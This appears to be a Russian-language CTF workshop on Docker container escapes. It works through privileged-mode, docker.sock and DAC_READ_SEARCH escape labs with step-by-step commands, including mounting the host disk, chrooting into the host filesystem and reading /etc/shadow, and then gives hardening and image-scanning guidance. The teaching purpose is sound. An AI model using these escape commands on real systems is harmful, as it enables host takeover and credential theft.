Побег из докер-контейнера

CTF Workshop

Образовательный воркшоп по безопасности контейнеров

План воркшопа

1. **Реальные иниценденты**
2. **Векторы атаки**
    - Privileged контейнеры
    - Docker socket escape
    - CAP_SYS_ADMIN побег
3. **Лучшие практики для защиты**
4. **Инструменты диагностики** (Trivy/Scout)

Для кого этот воркшоп?

Целевая аудитория:

✅ **DevOps / SRE инженеры** - работаете с Docker в production
✅ **Backend разработчики** - пишете Dockerfile и docker-compose
✅ **Junior Security Engineers** - хотите понять container security
✅ **Студенты DevSecOps** - нужен практический опыт

Уровень: Intermediate (базовые знания Docker требуются)

Prerequisites: Что нужно знать?

Вопрос к аудитории: Кто из вас запускал Docker контейнеры? 🙋

Docker за 30 секунд (если вы не уверены):

```
# Docker = платформа для запуска приложений в изолированных контейнерах
docker pull ubuntu            # Скачать образ (шаблон)
docker run -it ubuntu bash    # Запустить контейнер (экземпляр)
docker ps                     # Список запущенных контейнеров
docker exec -it <id> bash     # Подключиться к контейнеру
```

```
docker run -d -p 3030:3000 --name=grafana grafana/grafana-enterprise
```

Образ = шаблон с ОС и приложением | **Контейнер** = запущенный процесс из образа

Введение: Что такое контейнер?

- Изолированное окружение для запуска приложений
- Использует namespaces и cgroups ядра Linux
- Не полная виртуализация - разделяет ядро с хостом
- Изоляция ≠ безопасность по умолчанию

```
docker run -it ubuntu:latest /bin/bash
```

Реальные инциденты

Реальные инциденты

Graboid Worm (2019) 📚 Palo Alto Unit 42: Graboid worm

- Первый worm для Docker
- Сканировал интернет на открытые Docker API (порт 2375)
- Запускал контейнеры с криптомайнерами
- **~2000 хостов заражено**

💡 Docker имеет API для удаленного управления. Многие оставляли его открытым в интернет — червь автоматически находил такие серверы и заражал их

Docker Hub Breach (2019) 📚 SecurityWeek: Docker Hub Breach

- Компрометация 190,000 аккаунтов
- Утечка токенов GitHub и Bitbucket из образов
- Проблема: разработчики хранили секреты в образах

💡 Взломали базу данных Docker Hub (главного репозитория образов). Получили доступ к паролям и токенам для GitHub — теперь злоумышленники могли изменять код проектов жертв

TeamTNT Campaign (2020-2023) 📚 Sysdig: TeamTNT Analysis | Unit 42: Hildegard Malware

- Крупнейшая кампания атак на контейнеры
- Эксплуатация открытых Docker API и Kubernetes
- Кража AWS credentials, криптомайнинг, backdoors
- **>10,000 скомпрометированных систем**

💡 Организованная группа хакеров несколько лет сканировала весь интернет в поисках неправильно настроенных контейнеров. Украденные AWS ключи давали доступ к облачным счетам компаний

Вывод: Неправильная конфигурация = реальная угроза

Векторы атаки

🏹 Вектор #1: Privileged контейнеры

Проблема: `--privileged` флаг отключает большинство защит

```
docker run --privileged -it ubuntu /bin/bash
```

Что получает атакующий:

- Доступ ко всем устройствам хоста (`/dev`)
- Все Linux capabilities
- Возможность монтирования файловых систем

❓ Вопрос

В каких случаях вообще контейнер может быть запущен небезопасно, зачем запускать с privelleged?

❓ Вопрос

В каких случаях вообще контейнер может быть запущен небезопасно, зачем запускать с privelleged?

> - Разработка и тестрирование,
> - работа с ядром и драйверами,
> - исследование уязвимостей

Подготовка: Запуск заданий

```
# Задание 1: Privileged контейнер
echo "FLAG{pr1v1leged_m0de_danger}" > /root/flag.txt

docker run -it --privileged --name ctf-task1 ubuntu
```

✅ Задание 1: Побег через privileged режим

Сценарий: Вы получили доступ к контейнеру, запущенному с `--privileged`

Цель: Прочитать файл `/root/flag.txt` с хоста

Пошаговый план:

1. Установите утилиту для работы с дисками `apt-get update` `apt-get -y install fdisk`
2. Проверьте доступные диски: `fdisk -l`,
3. Найдите основной диск хоста (обычно `/dev/sda1` или `/dev/vda1`)
4. Смонтируйте диск: `mkdir /mnt/host && mount /dev/nvme0n1p2 /mnt/host`
5. Теперь ФС хоста доступна: `cat /mnt/host/root/flag.txt`

? Вопрос

Как злоумышленник может получить доступ к конетейнеру?

? Вопрос

Как злоумышленник может получить доступ к конетейнеру?

> - уязвимости в приложениях внутри контейнера
> - уязвимости в пакетах/библиотеках (Supply Chain Attack)
> - утечка credentials

🏹 Вектор #2: Небезопасные монтирования

Проблема: Монтирование критичных директорий хоста

```
docker run -v /:/host -it ubuntu /bin/bash
docker run -v /var/run/docker.sock:/var/run/docker.sock
```

Риски:

- Прямой доступ к файлам хоста
- Возможность управления Docker API
- Запуск новых привилегированных контейнеров

? Вопрос

В каких случаях может быть примонтирован docker socket?

? Вопрос

В каких случаях может быть примонтирован docker socket?

> - В ci/cd, чтобы собирать образы
> - В инструментах управления контейнерами (интерфейсах)
> - Для мониторинга (Prometheus)

Подготовка: Запуск заданий

```
# Задание 2: Docker socket
docker run -it -v /var/run/docker.sock:/var/run/docker.sock \
  --name ctf-task2 docker:latest sh
```

✅ Задание 2: Docker socket escape

Сценарий: В контейнере примонтирован `/var/run/docker.sock`

Цель: Получить shell на хосте с root правами

Пошаговый план:

1. Посмотрите запущенные контейнеры: `docker ps`
2. Запустите privileged контейнер с монтированием хост-системы:

```
docker run -it --privileged -v /:/host alpine chroot /host
```

3. Найдите флаг: `cat /root/flag.txt`
4. Найдите новый контейнер на хосте

? Вопрос

Как мы получили доступ к /root/flag.txt, мы ведь не монтировали его внутрь первого контейнера?

❓ Вопрос

Как мы получили доступ к /root/flag.txt, мы ведь не монтировали его внутрь первого контейнера?

> Docker socket — это не файл с данными, а API для управления Docker daemon. Когда ты выполняешь docker run ... из контейнера A:

> 1. Команда идёт через сокет к Docker daemon на хосте
> 2. Daemon работает с root-правами на хосте
> 3. Daemon создаёт новый контейнер B (не внутри A, а рядом с ним!)
> 4. В контейнер B монтируется -v /:/host — вся файловая система хоста
> 5. chroot /host делает корнем ФС хоста

🏹 Вектор #3: Misconfigured capabilities

Проблема: Излишние capabilities

Опасные capabilities:

- `CAP_SYS_ADMIN` - административные операции
- `CAP_SYS_PTRACE` - отладка процессов
- `CAP_SYS_MODULE` - загрузка модулей ядра
- `CAP_DAC_READ_SEARCH` - обход проверок чтения

❓ Вопрос

В каких случаях вообще контейнер могут запустить с --cap-add=SYS_ADMIN, --cap-add=DAC_READ_SEARCH?

? Вопрос

В каких случаях вообще контейнер могут запустить с --cap-add=SYS_ADMIN, --cap-add=DAC_READ_SEARCH?

> - Docker-in-Docker (DinD). GitLab CI runners, Jenkins agents часто требуют это для сборки образов.
> - Бэкап-агенты (Restic, Borg, Bacula)
> - NFS-серверы
> - Аудит/мониторинг/антивирусы
> - Файловая индексация и поиск
> - Rsync/синхронизация данных

Подготовка: Запуск заданий

```
# Запускаем контейнер с DAC_READ_SEARCH
services:
  vulnerable-dac:
    build: .
    container_name: vuln-dac
    cap_add:
      - DAC_OVERRIDE      # Игнорирует права на запись
      - DAC_READ_SEARCH   # Игнорирует права на чтение
    volumes:
      - /etc:/host-etc:ro  # Монтируем /etc хоста (типичная ошибка!)
    stdin_open: true
    tty: true
```

✅ Задание 3: DAC_READ_SEARCH

Сценарий: Контейнер запущен с `--cap-add=DAC_READ_SEARCH`

Цель: Получить доступ к привилегированному файлу хоста

Пошаговый план:

1. Запускаем уязвимый контейнер `docker compose up -d` и подключаемся к консоли контейнера `docker compose exec vulnerable-dac bash`
2. Читаем файл, к которому нет доступа `cat /host-etc/shadow`
3. ! Вне контейнера я не могу получить доступ к этоу файлу `cat /etc/shadow`. Членство в группе docker ≈ root-доступ к хосту. Это не баг, это особенность архитектуры

Краткая сводка: 3 вектора побега

Вектор	Требования	Сложность	Защита
Privileged	`--privileged` флаг	Легко	Никогда не использовать
Docker socket	Монтирование sock	Легко	Не монтировать без необходимости
DAC_READ_SEARCH	Capability DAC_READ_SEARCH	Средне	`--cap-drop=ALL`, минимальные caps

Общий паттерн: Неправильная конфигурация → доступ к ресурсам хоста → побег

Суть защиты: даже если приложение взломают, контейнер должен быть настолько ограничен, что дальше двигаться некуда.

Лучшие практики защиты

❌ Безопасный Dockerfile: Плохой пример

❓ Какие здесь есть уязвимости?

```
FROM ubuntu:latest

RUN apt-get update && apt-get install -y python3 curl

ENV API_KEY="sk-1234567890abcdef"

# Установка всех пакетов
COPY requirements.txt .
RUN pip install -r requirements.txt
COPY app.py .

CMD ["python3", "app,py"]
```

Проблемы: latest тег, root, большой образ, секреты в образе

✅ Безопасный Dockerfile: Хороший пример

```
FROM python:3.11-alpine AS builder
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir --user -r requirements.txt

# Multi-stage: минимальный финальный образ
FROM python:3.11-alpine

# Non-root пользователь
RUN addgroup -g 1000 appgroup && \
    adduser -D -u 1000 -G appgroup appuser
...
USER appuser

CMD ["python3", "app.py"]
```

Безопасный Dockerfile

Попробуем!

```
docker run -it --privileged --name ctf-task1 --user appuser:appuser ubuntu-unpriveleged-user
```

1. Установите утилиту для работы с дисками `apt-get update` `apt-get -y install fdisk`
2. Проверьте доступные диски: `fdisk -l`

> Уменьшение поверхности атаки — даже внутри контейнера непривилегированный пользователь не может менять системные файлы, устанавливать пакеты, менять сетевые настройки.

Безопасный Dockerfile: Лучшие практики

✅ Конкретные теги версий (`python:3.11-alpine`, не `latest`)
✅ Минимальные базовые образы (`alpine`, `distroless`)
✅ Multi-stage builds для уменьшения размера
✅ Non-root пользователя
✅ `.dockerignore` для исключения чувствительных файлов

Избегайте:

❌ `latest` тега
❌ Запуска от root
❌ Хранения секретов в образе (используйте secrets management)
❌ Установки ненужных пакетов

❌ docker-compose.yml: Плохой пример

❓ Какие здесь есть уязвимости?

```
# docker-compose.vulnerable.yml
services:
  vulnerable-app:
    image: alpine
    container_name: vulnerable-app
    command: sh -c "sleep infinity"
    # No capability restrictions - container has default ~14 capabilities
```

✅ docker-compose.yml: Хороший пример

```yaml
services:
  app:
    image: myapp:1.2.3 # Конкретная версия
    read_only: true # Read-only filesystem
    tmpfs:
      - /tmp
    cap_drop:
      - ALL
    cap_add:
      - NET_BIND_SERVICE # Только необходимые capabilities
    security_opt:
      - no-new-privileges:true
    user: "1000:1000" # Non-root
    volumes:
      - ./data:/app/data:ro # Read-only монтирование
```

Пробуем compose с неограниченными cap

```
docker compose -f docker-compose.vulnerable.yml up -d

# Подключимся к консоли контейнера
docker exec -it vulnerable-app sh

# Проверим capabilities внутри контейнера
cat /proc/1/status | grep Cap

# Контейнер может изменить владельца файла (CAP_CHOWN)
touch /tmp/test
chown 1000:1000 /tmp/test
ls -la /tmp/test

# Контейнер может использовать привилегированный порт
(CAP_NET_BIND_SERVICE)
apk add socat && socat TCP-LISTEN:80,fork STDOUT &
```

✅ Ограниченные capabilities: Хороший пример

```
# docker-compose.secure.yml
services:
  secure-app:
    image: alpine
    container_name: secure-app
    command: sh -c "sleep infinity"
    cap_drop:
      - ALL # Сначала отключаем всё
    cap_add:
      - NET_BIND_SERVICE # Включаем только то, что требуется
    security_opt:
      - no-new-privileges:true
```

Пробуем compose с ограниченными cap

```
docker compose -f docker-compose.secure.yml up -d

# Подключимся к консоли контейнера
docker exec -it secure-app sh

# Проверим capabilities внутри контейнера
cat /proc/1/status | grep Cap

# Контейнер НЕ может изменить владельца файла (CAP_CHOWN)
touch /tmp/test
chown 1000:1000 /tmp/test
ls -la /tmp/test

# Контейнер может использовать привилегированный порт
(CAP_NET_BIND_SERVICE)
apk add socat && socat TCP-LISTEN:80,fork STDOUT &
```

Инструменты диагностики

Инструменты диагностики

Зачем сканировать образы?

- Уязвимости в базовых образах и зависимостях
- Устаревшие пакеты с известными CVE
- Secrets и чувствительные данные в слоях
- Misconfiguration в Dockerfile

Основные инструменты:

- **Trivy** - комплексный сканер (наш фокус)
- **Docker Scout** - встроенный инструмент Docker
- Snyk, Anchore, Clair

Trivy: Универсальный сканер

Что сканирует Trivy:

- Образы контейнеров (OS пакеты и зависимости приложений)
- Файловые системы и rootfs
- Git репозитории
- Kubernetes манифесты
- Terraform/CloudFormation

Trivy: Практическое использование

Сканирование образа:

```
# Базовое сканирование
trivy image nginx:latest

# Только критичные и высокие уязвимости
trivy image --severity CRITICAL,HIGH nginx:latest

# Вывод в JSON для автоматизации
trivy image -f json -o results.json nginx:latest

# Игнорирование unfixed уязвимостей
trivy image --ignore-unfixed nginx:latest
```

Docker Scout: Встроенный анализ

```
# Анализ локального образа
docker scout cves nginx:latest
# Сравнение с рекомендациями
docker scout recommendations nginx:latest
# Быстрый обзор
docker scout quickview nginx:latest
```

Преимущества Scout:

- Встроен в Docker Desktop и CLI
- Интеграция с Docker Hub
- Рекомендации по обновлению базовых образов
- Policy enforcement для CI/CD

Dockle: Сканирование на best-practices

```
dockle ubuntu:latest

dockle ubuntu-unpriveleged-user
```

Docker Bench for Security: Проверка на best-practices

```
git clone https://github.com/docker/docker-bench-security.git
cd docker-bench-security
sudo sh docker-bench-security.sh
```

Методы защиты: Краткий чеклист

✅ Никогда не используйте `--privileged` в продакшене
✅ Минимизируйте capabilities: `--cap-drop=ALL`
✅ Не монтируйте docker.sock без необходимости
✅ Используйте read-only файловую систему где возможно

✅ Регулярно сканируйте образы (Trivy/Scout в CI/CD)
✅ Используйте минимальные базовые образы (alpine, distroless)
✅ Обновляйте Docker и образы
✅ Не храните секреты в образах

Заключение

Ключевые выводы:

1. Контейнеры не являются безопасными по умолчанию
2. Privileged режим и docker.sock - критичные векторы атак
3. Capabilities требуют тщательной настройки
4. Регулярное сканирование образов обязательно (Trivy/Scout)
5. Defense in depth - используйте несколько уровней защиты

Важно: Все показанные техники только для легального тестирования в контролируемых окружениях!

Спасибо за участие!

Вопросы и обсуждение

Практикуйтесь безопасно!